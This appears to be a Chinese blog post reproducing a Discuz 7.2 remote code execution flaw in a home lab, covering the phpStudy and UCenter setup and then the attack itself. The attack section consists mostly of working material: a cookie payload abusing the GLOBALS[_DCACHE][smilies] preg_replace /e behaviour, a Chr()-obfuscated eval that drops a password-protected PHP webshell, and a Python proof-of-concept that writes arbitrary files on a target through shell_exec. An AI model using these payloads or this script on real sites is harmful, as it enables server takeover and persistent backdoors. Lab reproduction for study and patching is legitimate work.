发布于2022年11月4日3年前 discuz7.2漏洞复现--python编写poc 环境搭建准备一台win7装上的phpstudy将discuz7.2源码放进去安装discuz之前,需要先安装center文件夹搭建存放的位置是:解压完成之后更改名称再然后需要把ucenter放到discuz源码下边开始安装安装discuz之前首先需要安装ucenter我们先将源码拉进phpstudy根目录下边首先安装ucenterhttp://192.168.0.108/discuz7/ucenter/需要填的只有标红框的安装完成之后我们进行安装2http://192.168.0.108/discuz7/install/最关键的一步来了需要将ucenter的url修改成http://192.168.0.108/discuz7/ucenter因为我们把ucenter的源码文件放到了discuz7下边了发现安装成功漏洞利用php版本为3.3.29需要修改配置文件php.ini将request_order = "GP"漏洞成因以及payload:漏洞成因以及payload: GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 #固定访问格式 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); #代码执行 Connection: close 首先访问存在漏洞的url首先访问存在漏洞的url利用我鹏哥发的进行getshellcookie里面的payload如下: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)) 创建的文件为wf.php,密码为lalala我们去网站根目录查看:发现成功写入一个一句话木马文件我们在攻击机器上面进行访问再用蚁剑进行连接成功getshell蚁剑上面存在敏感的一些shell信息,我就不发出来了编写上传pocimport requests url = input("请输入要检测的网址:") data = input("请输入要写入的内容:") file = input("请输入文件的名称:") urlexp = "viewthread.php?tid=10&extra=page%3D1"+"&x="+"$id=('echo%20"+data+"%20>%20"+file+"');shell_exec($id);" urlexp1 = url+urlexp cookie = {"Cookie":"GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_REQUEST[x]);"} def getshell(): result = requests.get(urlexp1,headers=cookie).status_code if result == 200: print("写入文件成功") print("写入的文件名称为:%s,内容是:%s"%(file,data)) else: print("写入文件失败") getshell() #http://127.0.0.1:8086/discuz7/ # 验证成功写入参考链接:法老的博客
创建帐户或登录后发表意见